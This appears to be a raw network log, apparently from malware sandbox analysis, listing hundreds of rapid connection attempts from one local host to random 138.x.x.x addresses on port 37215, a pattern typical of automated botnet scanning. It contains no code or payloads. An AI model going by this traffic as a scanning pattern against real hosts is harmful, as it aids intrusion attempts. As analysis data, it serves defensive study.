Feb 20, 2022 15:51:02.818819046 CET	1898	37215	192.168.2.23	138.29.127.248
Feb 20, 2022 15:51:02.818835020 CET	1898	37215	192.168.2.23	138.87.64.86
Feb 20, 2022 15:51:02.818849087 CET	1898	37215	192.168.2.23	138.126.124.166
Feb 20, 2022 15:51:02.818898916 CET	1898	37215	192.168.2.23	138.121.145.41
Feb 20, 2022 15:51:02.818902016 CET	1898	37215	192.168.2.23	138.142.124.219
Feb 20, 2022 15:51:02.818933010 CET	1898	37215	192.168.2.23	138.105.104.253
Feb 20, 2022 15:51:02.818953991 CET	1898	37215	192.168.2.23	138.176.208.177
Feb 20, 2022 15:51:02.818979979 CET	1898	37215	192.168.2.23	138.251.150.13
Feb 20, 2022 15:51:02.819008112 CET	1898	37215	192.168.2.23	138.36.102.217
Feb 20, 2022 15:51:02.819015980 CET	1898	37215	192.168.2.23	138.108.193.232
Feb 20, 2022 15:51:02.819046974 CET	1898	37215	192.168.2.23	138.27.235.180
Feb 20, 2022 15:51:02.819056988 CET	1898	37215	192.168.2.23	138.7.229.200
Feb 20, 2022 15:51:02.819086075 CET	1898	37215	192.168.2.23	138.162.201.213
Feb 20, 2022 15:51:02.819091082 CET	1898	37215	192.168.2.23	138.91.51.202
Feb 20, 2022 15:51:02.819104910 CET	1898	37215	192.168.2.23	138.129.62.11
Feb 20, 2022 15:51:02.819135904 CET	1898	37215	192.168.2.23	138.3.143.178
Feb 20, 2022 15:51:02.819165945 CET	1898	37215	192.168.2.23	138.201.98.25
Feb 20, 2022 15:51:02.819195032 CET	1898	37215	192.168.2.23	138.229.7.189
Feb 20, 2022 15:51:02.819202900 CET	1898	37215	192.168.2.23	138.176.167.156
Feb 20, 2022 15:51:02.819235086 CET	1898	37215	192.168.2.23	138.56.39.95
Feb 20, 2022 15:51:02.819245100 CET	1898	37215	192.168.2.23	138.3.47.140
Feb 20, 2022 15:51:02.819278955 CET	1898	37215	192.168.2.23	138.84.175.228
Feb 20, 2022 15:51:02.819293976 CET	1898	37215	192.168.2.23	138.150.111.46
Feb 20, 2022 15:51:02.819334030 CET	1898	37215	192.168.2.23	138.83.253.64
Feb 20, 2022 15:51:02.819338083 CET	1898	37215	192.168.2.23	138.44.255.122
Feb 20, 2022 15:51:02.819344997 CET	1898	37215	192.168.2.23	138.252.243.17
Feb 20, 2022 15:51:02.819385052 CET	1898	37215	192.168.2.23	138.231.242.20
Feb 20, 2022 15:51:02.819391966 CET	1898	37215	192.168.2.23	138.146.216.223
Feb 20, 2022 15:51:02.819399118 CET	1898	37215	192.168.2.23	138.253.136.43
Feb 20, 2022 15:51:02.819417000 CET	1898	37215	192.168.2.23	138.245.126.148
Feb 20, 2022 15:51:02.819454908 CET	1898	37215	192.168.2.23	138.54.78.115
Feb 20, 2022 15:51:02.819483995 CET	1898	37215	192.168.2.23	138.13.29.76
Feb 20, 2022 15:51:02.819519043 CET	1898	37215	192.168.2.23	138.52.248.52
Feb 20, 2022 15:51:02.819541931 CET	1898	37215	192.168.2.23	138.51.44.220
Feb 20, 2022 15:51:02.819555998 CET	1898	37215	192.168.2.23	138.142.66.254
Feb 20, 2022 15:51:02.819582939 CET	1898	37215	192.168.2.23	138.65.206.64
Feb 20, 2022 15:51:02.819618940 CET	1898	37215	192.168.2.23	138.171.247.207
Feb 20, 2022 15:51:02.819628954 CET	1898	37215	192.168.2.23	138.169.107.62
Feb 20, 2022 15:51:02.819628954 CET	1898	37215	192.168.2.23	138.148.87.231
Feb 20, 2022 15:51:02.819654942 CET	1898	37215	192.168.2.23	138.33.97.191
Feb 20, 2022 15:51:02.819679022 CET	1898	37215	192.168.2.23	138.214.238.133
Feb 20, 2022 15:51:02.819689035 CET	1898	37215	192.168.2.23	138.222.117.28
Feb 20, 2022 15:51:02.819719076 CET	1898	37215	192.168.2.23	138.219.192.197
Feb 20, 2022 15:51:02.819725037 CET	1898	37215	192.168.2.23	138.126.214.220
Feb 20, 2022 15:51:02.819761038 CET	1898	37215	192.168.2.23	138.81.172.21
Feb 20, 2022 15:51:02.819782019 CET	1898	37215	192.168.2.23	138.248.247.188
Feb 20, 2022 15:51:02.819792986 CET	1898	37215	192.168.2.23	138.218.11.6
Feb 20, 2022 15:51:02.819804907 CET	1898	37215	192.168.2.23	138.71.94.3
Feb 20, 2022 15:51:02.819838047 CET	1898	37215	192.168.2.23	138.124.212.98
Feb 20, 2022 15:51:02.819860935 CET	1898	37215	192.168.2.23	138.106.52.35
Feb 20, 2022 15:51:02.819870949 CET	1898	37215	192.168.2.23	138.50.53.181
Feb 20, 2022 15:51:02.819884062 CET	1898	37215	192.168.2.23	138.51.114.102
Feb 20, 2022 15:51:02.819924116 CET	1898	37215	192.168.2.23	138.143.231.226
Feb 20, 2022 15:51:02.819943905 CET	1898	37215	192.168.2.23	138.127.169.99
Feb 20, 2022 15:51:02.819955111 CET	1898	37215	192.168.2.23	138.129.221.185
Feb 20, 2022 15:51:02.819968939 CET	1898	37215	192.168.2.23	138.37.241.66
Feb 20, 2022 15:51:02.819983959 CET	1898	37215	192.168.2.23	138.127.180.32
Feb 20, 2022 15:51:02.820029974 CET	1898	37215	192.168.2.23	138.232.216.0
Feb 20, 2022 15:51:02.820043087 CET	1898	37215	192.168.2.23	138.44.209.120
Feb 20, 2022 15:51:02.820090055 CET	1898	37215	192.168.2.23	138.19.188.166
Feb 20, 2022 15:51:02.820091963 CET	1898	37215	192.168.2.23	138.182.159.142
Feb 20, 2022 15:51:02.820099115 CET	1898	37215	192.168.2.23	138.245.251.237
Feb 20, 2022 15:51:02.820115089 CET	1898	37215	192.168.2.23	138.248.154.150
Feb 20, 2022 15:51:02.820141077 CET	1898	37215	192.168.2.23	138.50.249.69
Feb 20, 2022 15:51:02.820172071 CET	1898	37215	192.168.2.23	138.125.20.164
Feb 20, 2022 15:51:02.820173025 CET	1898	37215	192.168.2.23	138.122.164.31
Feb 20, 2022 15:51:02.820219994 CET	1898	37215	192.168.2.23	138.214.218.4
Feb 20, 2022 15:51:02.820219994 CET	1898	37215	192.168.2.23	138.239.168.165
Feb 20, 2022 15:51:02.820228100 CET	1898	37215	192.168.2.23	138.152.23.241
Feb 20, 2022 15:51:02.820261002 CET	1898	37215	192.168.2.23	138.224.94.42
Feb 20, 2022 15:51:02.820302010 CET	1898	37215	192.168.2.23	138.41.66.119
Feb 20, 2022 15:51:02.820316076 CET	1898	37215	192.168.2.23	138.8.13.240
Feb 20, 2022 15:51:02.820346117 CET	1898	37215	192.168.2.23	138.138.211.19
Feb 20, 2022 15:51:02.820368052 CET	1898	37215	192.168.2.23	138.90.220.235
Feb 20, 2022 15:51:02.820398092 CET	1898	37215	192.168.2.23	138.48.180.59
Feb 20, 2022 15:51:02.820399046 CET	1898	37215	192.168.2.23	138.152.27.226
Feb 20, 2022 15:51:02.820429087 CET	1898	37215	192.168.2.23	138.116.229.42
Feb 20, 2022 15:51:02.820453882 CET	1898	37215	192.168.2.23	138.124.126.29
Feb 20, 2022 15:51:02.820456982 CET	1898	37215	192.168.2.23	138.4.231.198
Feb 20, 2022 15:51:02.820482016 CET	1898	37215	192.168.2.23	138.117.245.56
Feb 20, 2022 15:51:02.820511103 CET	1898	37215	192.168.2.23	138.0.168.2
Feb 20, 2022 15:51:02.820533037 CET	1898	37215	192.168.2.23	138.17.244.72
Feb 20, 2022 15:51:02.820538044 CET	1898	37215	192.168.2.23	138.40.71.51
Feb 20, 2022 15:51:02.820571899 CET	1898	37215	192.168.2.23	138.121.31.227
Feb 20, 2022 15:51:02.820605040 CET	1898	37215	192.168.2.23	138.61.168.249
Feb 20, 2022 15:51:02.820617914 CET	1898	37215	192.168.2.23	138.190.84.160
Feb 20, 2022 15:51:02.820628881 CET	1898	37215	192.168.2.23	138.187.244.13
Feb 20, 2022 15:51:02.820636034 CET	1898	37215	192.168.2.23	138.132.235.8
Feb 20, 2022 15:51:02.820671082 CET	1898	37215	192.168.2.23	138.81.74.45
Feb 20, 2022 15:51:02.820688009 CET	1898	37215	192.168.2.23	138.162.57.35
Feb 20, 2022 15:51:02.820698023 CET	1898	37215	192.168.2.23	138.125.149.79
Feb 20, 2022 15:51:02.820735931 CET	1898	37215	192.168.2.23	138.173.201.149
Feb 20, 2022 15:51:02.820736885 CET	1898	37215	192.168.2.23	138.130.184.131
Feb 20, 2022 15:51:02.820741892 CET	1898	37215	192.168.2.23	138.12.38.44
Feb 20, 2022 15:51:02.820780993 CET	1898	37215	192.168.2.23	138.254.251.220
Feb 20, 2022 15:51:02.820811033 CET	1898	37215	192.168.2.23	138.47.3.214
Feb 20, 2022 15:51:02.820816040 CET	1898	37215	192.168.2.23	138.8.239.224
Feb 20, 2022 15:51:02.820869923 CET	1898	37215	192.168.2.23	138.14.254.53
Feb 20, 2022 15:51:02.820878983 CET	1898	37215	192.168.2.23	138.69.171.34
Feb 20, 2022 15:51:02.820910931 CET	1898	37215	192.168.2.23	138.56.210.160
Feb 20, 2022 15:51:02.820929050 CET	1898	37215	192.168.2.23	138.35.124.124
Feb 20, 2022 15:51:02.820936918 CET	1898	37215	192.168.2.23	138.105.213.232
Feb 20, 2022 15:51:02.820947886 CET	1898	37215	192.168.2.23	138.15.98.72
Feb 20, 2022 15:51:02.820966959 CET	1898	37215	192.168.2.23	138.50.143.54
Feb 20, 2022 15:51:02.820981979 CET	1898	37215	192.168.2.23	138.92.176.13
Feb 20, 2022 15:51:02.820993900 CET	1898	37215	192.168.2.23	138.155.44.23
Feb 20, 2022 15:51:02.821039915 CET	1898	37215	192.168.2.23	138.202.125.225
Feb 20, 2022 15:51:02.821069956 CET	1898	37215	192.168.2.23	138.2.220.96
Feb 20, 2022 15:51:02.821095943 CET	1898	37215	192.168.2.23	138.7.253.17
Feb 20, 2022 15:51:02.821108103 CET	1898	37215	192.168.2.23	138.38.125.102
Feb 20, 2022 15:51:02.821136951 CET	1898	37215	192.168.2.23	138.1.186.108
Feb 20, 2022 15:51:02.821156025 CET	1898	37215	192.168.2.23	138.244.154.165
Feb 20, 2022 15:51:02.821158886 CET	1898	37215	192.168.2.23	138.117.208.184
Feb 20, 2022 15:51:02.821167946 CET	1898	37215	192.168.2.23	138.0.150.122
Feb 20, 2022 15:51:02.821172953 CET	1898	37215	192.168.2.23	138.130.190.12
Feb 20, 2022 15:51:02.821202040 CET	1898	37215	192.168.2.23	138.92.147.47
Feb 20, 2022 15:51:02.821237087 CET	1898	37215	192.168.2.23	138.87.252.208
Feb 20, 2022 15:51:02.821244955 CET	1898	37215	192.168.2.23	138.179.170.207
Feb 20, 2022 15:51:02.821274042 CET	1898	37215	192.168.2.23	138.120.187.32
Feb 20, 2022 15:51:02.821310997 CET	1898	37215	192.168.2.23	138.2.121.179
Feb 20, 2022 15:51:02.821316957 CET	1898	37215	192.168.2.23	138.182.148.173
Feb 20, 2022 15:51:02.821342945 CET	1898	37215	192.168.2.23	138.222.161.151
Feb 20, 2022 15:51:02.821367979 CET	1898	37215	192.168.2.23	138.105.92.91
Feb 20, 2022 15:51:02.821372986 CET	1898	37215	192.168.2.23	138.166.213.102
Feb 20, 2022 15:51:02.821379900 CET	1898	37215	192.168.2.23	138.222.22.1
Feb 20, 2022 15:51:02.821399927 CET	1898	37215	192.168.2.23	138.126.204.170
Feb 20, 2022 15:51:02.821429014 CET	1898	37215	192.168.2.23	138.236.63.114
Feb 20, 2022 15:51:02.821445942 CET	1898	37215	192.168.2.23	138.205.49.136
Feb 20, 2022 15:51:02.821494102 CET	1898	37215	192.168.2.23	138.225.25.212
Feb 20, 2022 15:51:02.821538925 CET	1898	37215	192.168.2.23	138.216.99.57
Feb 20, 2022 15:51:02.821544886 CET	1898	37215	192.168.2.23	138.52.221.179
Feb 20, 2022 15:51:02.821554899 CET	1898	37215	192.168.2.23	138.78.50.196
Feb 20, 2022 15:51:02.821573973 CET	1898	37215	192.168.2.23	138.213.208.50
Feb 20, 2022 15:51:02.821611881 CET	1898	37215	192.168.2.23	138.38.146.216
Feb 20, 2022 15:51:02.821614027 CET	1898	37215	192.168.2.23	138.171.153.225
Feb 20, 2022 15:51:02.821639061 CET	1898	37215	192.168.2.23	138.201.243.84
Feb 20, 2022 15:51:02.821650028 CET	1898	37215	192.168.2.23	138.132.45.163
Feb 20, 2022 15:51:02.821655035 CET	1898	37215	192.168.2.23	138.62.139.127
Feb 20, 2022 15:51:02.821691990 CET	1898	37215	192.168.2.23	138.221.82.35
Feb 20, 2022 15:51:02.821703911 CET	1898	37215	192.168.2.23	138.167.199.193
Feb 20, 2022 15:51:02.821731091 CET	1898	37215	192.168.2.23	138.86.186.63
Feb 20, 2022 15:51:02.821738005 CET	1898	37215	192.168.2.23	138.73.62.79
Feb 20, 2022 15:51:02.821775913 CET	1898	37215	192.168.2.23	138.203.166.39
Feb 20, 2022 15:51:02.821785927 CET	1898	37215	192.168.2.23	138.76.19.255
Feb 20, 2022 15:51:02.821821928 CET	1898	37215	192.168.2.23	138.10.221.16
Feb 20, 2022 15:51:02.821822882 CET	1898	37215	192.168.2.23	138.86.133.249
Feb 20, 2022 15:51:02.821830034 CET	1898	37215	192.168.2.23	138.150.121.244
Feb 20, 2022 15:51:02.821871996 CET	1898	37215	192.168.2.23	138.186.209.191
Feb 20, 2022 15:51:02.821899891 CET	1898	37215	192.168.2.23	138.126.116.57
Feb 20, 2022 15:51:02.821914911 CET	1898	37215	192.168.2.23	138.65.194.156
Feb 20, 2022 15:51:02.821937084 CET	1898	37215	192.168.2.23	138.179.136.8
Feb 20, 2022 15:51:02.821957111 CET	1898	37215	192.168.2.23	138.237.82.188
Feb 20, 2022 15:51:02.821985006 CET	1898	37215	192.168.2.23	138.27.106.113
Feb 20, 2022 15:51:02.821995020 CET	1898	37215	192.168.2.23	138.41.224.198
Feb 20, 2022 15:51:02.822010040 CET	1898	37215	192.168.2.23	138.189.230.81
Feb 20, 2022 15:51:02.822029114 CET	1898	37215	192.168.2.23	138.251.77.226
Feb 20, 2022 15:51:02.822069883 CET	1898	37215	192.168.2.23	138.194.132.225
Feb 20, 2022 15:51:02.822083950 CET	1898	37215	192.168.2.23	138.163.207.214
Feb 20, 2022 15:51:02.822113037 CET	1898	37215	192.168.2.23	138.154.194.144
Feb 20, 2022 15:51:02.822134972 CET	1898	37215	192.168.2.23	138.89.188.105
Feb 20, 2022 15:51:02.822137117 CET	1898	37215	192.168.2.23	138.164.248.209
Feb 20, 2022 15:51:02.822202921 CET	1898	37215	192.168.2.23	138.207.215.146
Feb 20, 2022 15:51:02.822216034 CET	1898	37215	192.168.2.23	138.91.200.232
Feb 20, 2022 15:51:02.822237015 CET	1898	37215	192.168.2.23	138.150.146.131
Feb 20, 2022 15:51:02.822242975 CET	1898	37215	192.168.2.23	138.142.228.182
Feb 20, 2022 15:51:02.822271109 CET	1898	37215	192.168.2.23	138.136.137.77
Feb 20, 2022 15:51:02.822276115 CET	1898	37215	192.168.2.23	138.142.188.208
Feb 20, 2022 15:51:02.822279930 CET	1898	37215	192.168.2.23	138.181.141.33
Feb 20, 2022 15:51:02.822299957 CET	1898	37215	192.168.2.23	138.250.252.191
Feb 20, 2022 15:51:02.822339058 CET	1898	37215	192.168.2.23	138.121.255.22
Feb 20, 2022 15:51:02.822352886 CET	1898	37215	192.168.2.23	138.23.134.100
Feb 20, 2022 15:51:02.822370052 CET	1898	37215	192.168.2.23	138.8.112.115
Feb 20, 2022 15:51:02.822393894 CET	1898	37215	192.168.2.23	138.12.121.190
Feb 20, 2022 15:51:02.822403908 CET	1898	37215	192.168.2.23	138.33.113.191
Feb 20, 2022 15:51:02.822411060 CET	1898	37215	192.168.2.23	138.73.53.165
Feb 20, 2022 15:51:02.822438002 CET	1898	37215	192.168.2.23	138.254.145.108
Feb 20, 2022 15:51:02.822460890 CET	1898	37215	192.168.2.23	138.247.64.6
Feb 20, 2022 15:51:02.822477102 CET	1898	37215	192.168.2.23	138.162.211.19
Feb 20, 2022 15:51:02.822525978 CET	1898	37215	192.168.2.23	138.36.148.140
Feb 20, 2022 15:51:02.822544098 CET	1898	37215	192.168.2.23	138.93.172.177
Feb 20, 2022 15:51:02.822546005 CET	1898	37215	192.168.2.23	138.159.46.99
Feb 20, 2022 15:51:02.822580099 CET	1898	37215	192.168.2.23	138.199.193.129
Feb 20, 2022 15:51:02.822611094 CET	1898	37215	192.168.2.23	138.189.159.177
Feb 20, 2022 15:51:02.822611094 CET	1898	37215	192.168.2.23	138.239.228.89
Feb 20, 2022 15:51:02.822644949 CET	1898	37215	192.168.2.23	138.192.164.174
Feb 20, 2022 15:51:02.822665930 CET	1898	37215	192.168.2.23	138.36.59.251
Feb 20, 2022 15:51:02.822679996 CET	1898	37215	192.168.2.23	138.124.110.155
Feb 20, 2022 15:51:02.822699070 CET	1898	37215	192.168.2.23	138.107.162.253
Feb 20, 2022 15:51:02.822705984 CET	1898	37215	192.168.2.23	138.123.176.39
Feb 20, 2022 15:51:02.822741985 CET	1898	37215	192.168.2.23	138.55.147.230
Feb 20, 2022 15:51:02.822765112 CET	1898	37215	192.168.2.23	138.138.127.28
Feb 20, 2022 15:51:02.822805882 CET	1898	37215	192.168.2.23	138.119.98.114
Feb 20, 2022 15:51:02.822814941 CET	1898	37215	192.168.2.23	138.139.59.121
Feb 20, 2022 15:51:02.822814941 CET	1898	37215	192.168.2.23	138.35.108.27
Feb 20, 2022 15:51:02.822823048 CET	1898	37215	192.168.2.23	138.173.92.186
Feb 20, 2022 15:51:02.822869062 CET	1898	37215	192.168.2.23	138.216.123.57
Feb 20, 2022 15:51:02.822886944 CET	1898	37215	192.168.2.23	138.62.192.3
Feb 20, 2022 15:51:02.822896004 CET	1898	37215	192.168.2.23	138.10.76.174
Feb 20, 2022 15:51:02.822951078 CET	1898	37215	192.168.2.23	138.191.144.99
Feb 20, 2022 15:51:02.822953939 CET	1898	37215	192.168.2.23	138.171.148.20
Feb 20, 2022 15:51:02.822989941 CET	1898	37215	192.168.2.23	138.168.0.222
Feb 20, 2022 15:51:02.823003054 CET	1898	37215	192.168.2.23	138.230.136.130
Feb 20, 2022 15:51:02.823026896 CET	1898	37215	192.168.2.23	138.110.6.230
Feb 20, 2022 15:51:02.823029041 CET	1898	37215	192.168.2.23	138.46.1.72
Feb 20, 2022 15:51:02.823034048 CET	1898	37215	192.168.2.23	138.57.182.3
Feb 20, 2022 15:51:02.823062897 CET	1898	37215	192.168.2.23	138.21.79.254
Feb 20, 2022 15:51:02.823062897 CET	1898	37215	192.168.2.23	138.151.73.247
Feb 20, 2022 15:51:02.823070049 CET	1898	37215	192.168.2.23	138.129.124.28
Feb 20, 2022 15:51:02.823121071 CET	1898	37215	192.168.2.23	138.68.179.220
Feb 20, 2022 15:51:02.823143959 CET	1898	37215	192.168.2.23	138.102.224.141
Feb 20, 2022 15:51:02.823164940 CET	1898	37215	192.168.2.23	138.228.182.33
Feb 20, 2022 15:51:02.823174953 CET	1898	37215	192.168.2.23	138.116.81.81
Feb 20, 2022 15:51:02.823213100 CET	1898	37215	192.168.2.23	138.199.7.65
Feb 20, 2022 15:51:02.823230028 CET	1898	37215	192.168.2.23	138.197.163.5
Feb 20, 2022 15:51:02.823241949 CET	1898	37215	192.168.2.23	138.167.122.252
Feb 20, 2022 15:51:02.823290110 CET	1898	37215	192.168.2.23	138.188.234.253
Feb 20, 2022 15:51:02.823317051 CET	1898	37215	192.168.2.23	138.248.237.152
Feb 20, 2022 15:51:02.823332071 CET	1898	37215	192.168.2.23	138.198.182.134
Feb 20, 2022 15:51:02.823333979 CET	1898	37215	192.168.2.23	138.249.52.4
Feb 20, 2022 15:51:02.823375940 CET	1898	37215	192.168.2.23	138.131.104.1
Feb 20, 2022 15:51:02.823415995 CET	1898	37215	192.168.2.23	138.116.96.101
Feb 20, 2022 15:51:02.823419094 CET	1898	37215	192.168.2.23	138.246.46.162
Feb 20, 2022 15:51:02.823422909 CET	1898	37215	192.168.2.23	138.97.233.19
Feb 20, 2022 15:51:02.823440075 CET	1898	37215	192.168.2.23	138.250.164.213
Feb 20, 2022 15:51:02.823465109 CET	1898	37215	192.168.2.23	138.224.71.2
Feb 20, 2022 15:51:02.823493958 CET	1898	37215	192.168.2.23	138.125.100.177
Feb 20, 2022 15:51:02.823520899 CET	1898	37215	192.168.2.23	138.194.214.201
Feb 20, 2022 15:51:02.823581934 CET	1898	37215	192.168.2.23	138.223.34.28
Feb 20, 2022 15:51:02.823595047 CET	1898	37215	192.168.2.23	138.73.59.208
Feb 20, 2022 15:51:02.823597908 CET	1898	37215	192.168.2.23	138.108.69.182
Feb 20, 2022 15:51:02.823621035 CET	1898	37215	192.168.2.23	138.236.74.151
Feb 20, 2022 15:51:02.823635101 CET	1898	37215	192.168.2.23	138.245.66.62
Feb 20, 2022 15:51:02.823672056 CET	1898	37215	192.168.2.23	138.12.112.23
Feb 20, 2022 15:51:02.823672056 CET	1898	37215	192.168.2.23	138.18.150.100
Feb 20, 2022 15:51:02.823688984 CET	1898	37215	192.168.2.23	138.190.48.23
Feb 20, 2022 15:51:02.823754072 CET	1898	37215	192.168.2.23	138.212.210.66
Feb 20, 2022 15:51:02.823779106 CET	1898	37215	192.168.2.23	138.241.70.126
Feb 20, 2022 15:51:02.823781013 CET	1898	37215	192.168.2.23	138.133.44.148
Feb 20, 2022 15:51:02.823786974 CET	1898	37215	192.168.2.23	138.98.25.224
Feb 20, 2022 15:51:02.823823929 CET	1898	37215	192.168.2.23	138.58.24.36
Feb 20, 2022 15:51:02.823836088 CET	1898	37215	192.168.2.23	138.55.140.34
Feb 20, 2022 15:51:02.823846102 CET	1898	37215	192.168.2.23	138.214.77.226
Feb 20, 2022 15:51:02.823885918 CET	1898	37215	192.168.2.23	138.100.174.135
Feb 20, 2022 15:51:02.823899984 CET	1898	37215	192.168.2.23	138.132.95.20
Feb 20, 2022 15:51:02.823940039 CET	1898	37215	192.168.2.23	138.105.206.210
Feb 20, 2022 15:51:02.823941946 CET	1898	37215	192.168.2.23	138.83.124.231
Feb 20, 2022 15:51:02.823997974 CET	1898	37215	192.168.2.23	138.112.67.173
Feb 20, 2022 15:51:02.824012041 CET	1898	37215	192.168.2.23	138.39.80.209
Feb 20, 2022 15:51:02.824018955 CET	1898	37215	192.168.2.23	138.183.113.24
Feb 20, 2022 15:51:02.824055910 CET	1898	37215	192.168.2.23	138.230.74.63
Feb 20, 2022 15:51:02.824106932 CET	1898	37215	192.168.2.23	138.133.173.153
Feb 20, 2022 15:51:02.824141979 CET	1898	37215	192.168.2.23	138.105.83.200
Feb 20, 2022 15:51:02.824178934 CET	1898	37215	192.168.2.23	138.92.43.14
Feb 20, 2022 15:51:02.824249983 CET	1898	37215	192.168.2.23	138.161.164.38
Feb 20, 2022 15:51:02.824271917 CET	1898	37215	192.168.2.23	138.97.158.119
Feb 20, 2022 15:51:02.824305058 CET	1898	37215	192.168.2.23	138.128.116.191
Feb 20, 2022 15:51:02.824332952 CET	1898	37215	192.168.2.23	138.192.209.180
Feb 20, 2022 15:51:02.824357986 CET	1898	37215	192.168.2.23	138.74.173.146
Feb 20, 2022 15:51:02.824392080 CET	1898	37215	192.168.2.23	138.242.232.233
Feb 20, 2022 15:51:02.824393988 CET	1898	37215	192.168.2.23	138.179.11.39
Feb 20, 2022 15:51:02.824417114 CET	1898	37215	192.168.2.23	138.43.223.251
Feb 20, 2022 15:51:02.824501038 CET	1898	37215	192.168.2.23	138.196.43.118
Feb 20, 2022 15:51:02.824516058 CET	1386	37215	192.168.2.23	138.249.38.6
Feb 20, 2022 15:51:02.824521065 CET	1898	37215	192.168.2.23	138.93.130.163
Feb 20, 2022 15:51:02.824579000 CET	1386	37215	192.168.2.23	138.112.197.140
Feb 20, 2022 15:51:02.824582100 CET	1898	37215	192.168.2.23	138.250.2.109
Feb 20, 2022 15:51:02.824589014 CET	1898	37215	192.168.2.23	138.57.125.67
Feb 20, 2022 15:51:02.824604034 CET	1898	37215	192.168.2.23	138.22.57.3
Feb 20, 2022 15:51:02.824651003 CET	1898	37215	192.168.2.23	138.117.150.99
Feb 20, 2022 15:51:02.824665070 CET	1898	37215	192.168.2.23	138.202.215.63
Feb 20, 2022 15:51:02.824676991 CET	1898	37215	192.168.2.23	138.124.199.100
Feb 20, 2022 15:51:02.824698925 CET	1386	37215	192.168.2.23	138.22.192.211
Feb 20, 2022 15:51:02.824714899 CET	1898	37215	192.168.2.23	138.130.10.188
Feb 20, 2022 15:51:02.824744940 CET	1898	37215	192.168.2.23	138.227.116.63
Feb 20, 2022 15:51:02.824784040 CET	1386	37215	192.168.2.23	138.1.1.87
Feb 20, 2022 15:51:02.824811935 CET	1898	37215	192.168.2.23	138.111.145.46
Feb 20, 2022 15:51:02.824819088 CET	1386	37215	192.168.2.23	138.82.138.151
Feb 20, 2022 15:51:02.824847937 CET	1898	37215	192.168.2.23	138.2.207.162
Feb 20, 2022 15:51:02.824847937 CET	1898	37215	192.168.2.23	138.168.17.68
Feb 20, 2022 15:51:02.824861050 CET	1386	37215	192.168.2.23	138.156.206.208
Feb 20, 2022 15:51:02.824887991 CET	1898	37215	192.168.2.23	138.94.144.65
Feb 20, 2022 15:51:02.824918032 CET	1386	37215	192.168.2.23	138.244.209.19
Feb 20, 2022 15:51:02.824954033 CET	1898	37215	192.168.2.23	138.254.23.175
Feb 20, 2022 15:51:02.824975967 CET	1386	37215	192.168.2.23	138.133.38.12
Feb 20, 2022 15:51:02.824995041 CET	1898	37215	192.168.2.23	138.73.13.120
Feb 20, 2022 15:51:02.825014114 CET	1898	37215	192.168.2.23	138.75.112.121
Feb 20, 2022 15:51:02.825037956 CET	1898	37215	192.168.2.23	138.231.128.141
Feb 20, 2022 15:51:02.825040102 CET	1898	37215	192.168.2.23	138.199.57.58
Feb 20, 2022 15:51:02.825087070 CET	1898	37215	192.168.2.23	138.211.249.173
Feb 20, 2022 15:51:02.825110912 CET	1386	37215	192.168.2.23	138.78.83.245
Feb 20, 2022 15:51:02.825113058 CET	1386	37215	192.168.2.23	138.25.84.19
Feb 20, 2022 15:51:02.825145960 CET	1898	37215	192.168.2.23	138.70.99.223
Feb 20, 2022 15:51:02.825170994 CET	1898	37215	192.168.2.23	138.7.17.200
Feb 20, 2022 15:51:02.825172901 CET	1386	37215	192.168.2.23	138.24.143.202
Feb 20, 2022 15:51:02.825226068 CET	1898	37215	192.168.2.23	138.144.6.182
Feb 20, 2022 15:51:02.825237989 CET	1898	37215	192.168.2.23	138.192.24.243
Feb 20, 2022 15:51:02.825272083 CET	1386	37215	192.168.2.23	138.151.194.73
Feb 20, 2022 15:51:02.825282097 CET	1898	37215	192.168.2.23	138.234.129.146
Feb 20, 2022 15:51:02.825304031 CET	1386	37215	192.168.2.23	138.255.77.112
Feb 20, 2022 15:51:02.825306892 CET	1898	37215	192.168.2.23	138.15.54.52
Feb 20, 2022 15:51:02.825314045 CET	1898	37215	192.168.2.23	138.67.190.231
Feb 20, 2022 15:51:02.825350046 CET	1898	37215	192.168.2.23	138.7.225.87
Feb 20, 2022 15:51:02.825381994 CET	1898	37215	192.168.2.23	138.199.19.221
Feb 20, 2022 15:51:02.825423002 CET	1386	37215	192.168.2.23	138.138.191.159
Feb 20, 2022 15:51:02.825428009 CET	1386	37215	192.168.2.23	138.62.32.195
Feb 20, 2022 15:51:02.825442076 CET	1898	37215	192.168.2.23	138.77.182.60
Feb 20, 2022 15:51:02.825483084 CET	1898	37215	192.168.2.23	138.210.7.172
Feb 20, 2022 15:51:02.825545073 CET	1386	37215	192.168.2.23	138.123.103.228
Feb 20, 2022 15:51:02.825575113 CET	1898	37215	192.168.2.23	138.56.123.252
Feb 20, 2022 15:51:02.825594902 CET	1386	37215	192.168.2.23	138.125.139.190
Feb 20, 2022 15:51:02.825609922 CET	1898	37215	192.168.2.23	138.253.208.191
Feb 20, 2022 15:51:02.825618982 CET	1898	37215	192.168.2.23	138.21.201.249
Feb 20, 2022 15:51:02.825627089 CET	1898	37215	192.168.2.23	138.136.50.148
Feb 20, 2022 15:51:02.825635910 CET	1898	37215	192.168.2.23	138.37.183.103
Feb 20, 2022 15:51:02.825644016 CET	1898	37215	192.168.2.23	138.164.223.97
Feb 20, 2022 15:51:02.825644970 CET	1386	37215	192.168.2.23	138.29.90.205
Feb 20, 2022 15:51:02.825675011 CET	1386	37215	192.168.2.23	138.57.138.130
Feb 20, 2022 15:51:02.825715065 CET	1898	37215	192.168.2.23	138.164.79.93
Feb 20, 2022 15:51:02.825747013 CET	1898	37215	192.168.2.23	138.80.29.180
Feb 20, 2022 15:51:02.825750113 CET	1898	37215	192.168.2.23	138.132.179.149
Feb 20, 2022 15:51:02.825788021 CET	1898	37215	192.168.2.23	138.89.44.55
Feb 20, 2022 15:51:02.825807095 CET	1386	37215	192.168.2.23	138.169.197.145
Feb 20, 2022 15:51:02.825834990 CET	1386	37215	192.168.2.23	138.76.2.77
Feb 20, 2022 15:51:02.825861931 CET	1386	37215	192.168.2.23	138.223.226.226
Feb 20, 2022 15:51:02.825870037 CET	1898	37215	192.168.2.23	138.87.244.72
Feb 20, 2022 15:51:02.825874090 CET	1898	37215	192.168.2.23	138.234.245.165
Feb 20, 2022 15:51:02.825879097 CET	1898	37215	192.168.2.23	138.56.138.226
Feb 20, 2022 15:51:02.825905085 CET	1898	37215	192.168.2.23	138.144.57.8
Feb 20, 2022 15:51:02.825933933 CET	1386	37215	192.168.2.23	138.46.112.182
Feb 20, 2022 15:51:02.825962067 CET	1898	37215	192.168.2.23	138.58.117.176
Feb 20, 2022 15:51:02.825997114 CET	1386	37215	192.168.2.23	138.81.116.4
Feb 20, 2022 15:51:02.825999975 CET	1898	37215	192.168.2.23	138.80.87.225
Feb 20, 2022 15:51:02.826004028 CET	1898	37215	192.168.2.23	138.58.183.230
